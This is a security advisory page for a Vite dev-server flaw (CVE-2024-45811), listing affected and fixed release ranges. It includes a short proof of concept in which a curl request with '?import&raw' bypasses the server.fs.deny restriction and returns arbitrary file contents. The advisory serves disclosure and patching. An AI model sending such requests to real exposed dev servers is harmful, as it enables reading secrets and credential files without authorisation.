Packages / vite / Security

ModerateVulnerabilityGHSA-9cwx-2883-4wfxCVE-2024-45811Published 17 Sep 2024

Vite's `server.fs.deny` is bypassed when using `?import&raw`

Affected releases · vite

  • 5.x5.0.0 – 5.4.5Fixed in 5.4.6
  • 4.x4.0.0 – 4.5.3Fixed in 4.5.5
  • 3.x3.0.0 – 3.2.10Fixed in 3.2.11
  • 2.x and older0.1.0 – 2.9.18No fix, no longer updated

On 5.x, the newest line:

npm install vite@5.4.6
8.x
  1. Not affected

    8.0.0 – 8.3.5

    34 releases, latest

5.x
  1. Affected

    5.0.0 – 5.1.7

    22 releases

  2. Fixed

    5.1.8

    1 release

  3. Affected

    5.2.0 – 5.2.13

    14 releases

  4. Fixed

    5.2.14

    1 release

  5. Affected

    5.3.0 – 5.3.5

    6 releases

  6. Fixed

    5.3.6

    1 release

  7. Affected

    5.4.0 – 5.4.5

    6 releases

  8. Fixed

    5.4.6 – 5.4.21

    16 releases

4.x
  1. Affected

    4.0.0 – 4.5.3

    43 releases

  2. Fixed

    4.5.5 – 4.5.14

    10 releases

3.x
  1. Affected

    3.0.0 – 3.2.10

    29 releases

  2. Fixed

    3.2.11

    1 release

2.x
  1. Affected

    2.0.0 – 2.9.18

    97 releases

0.x
  1. Affected

    0.1.0 – 0.20.10

    78 releases

440 stable releases of vite, oldest to newest, one row per major.

Is your project affected?

Paste your package.json, or type the range you declare for vite. It is read in your browser and sent nowhere.

What happens

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...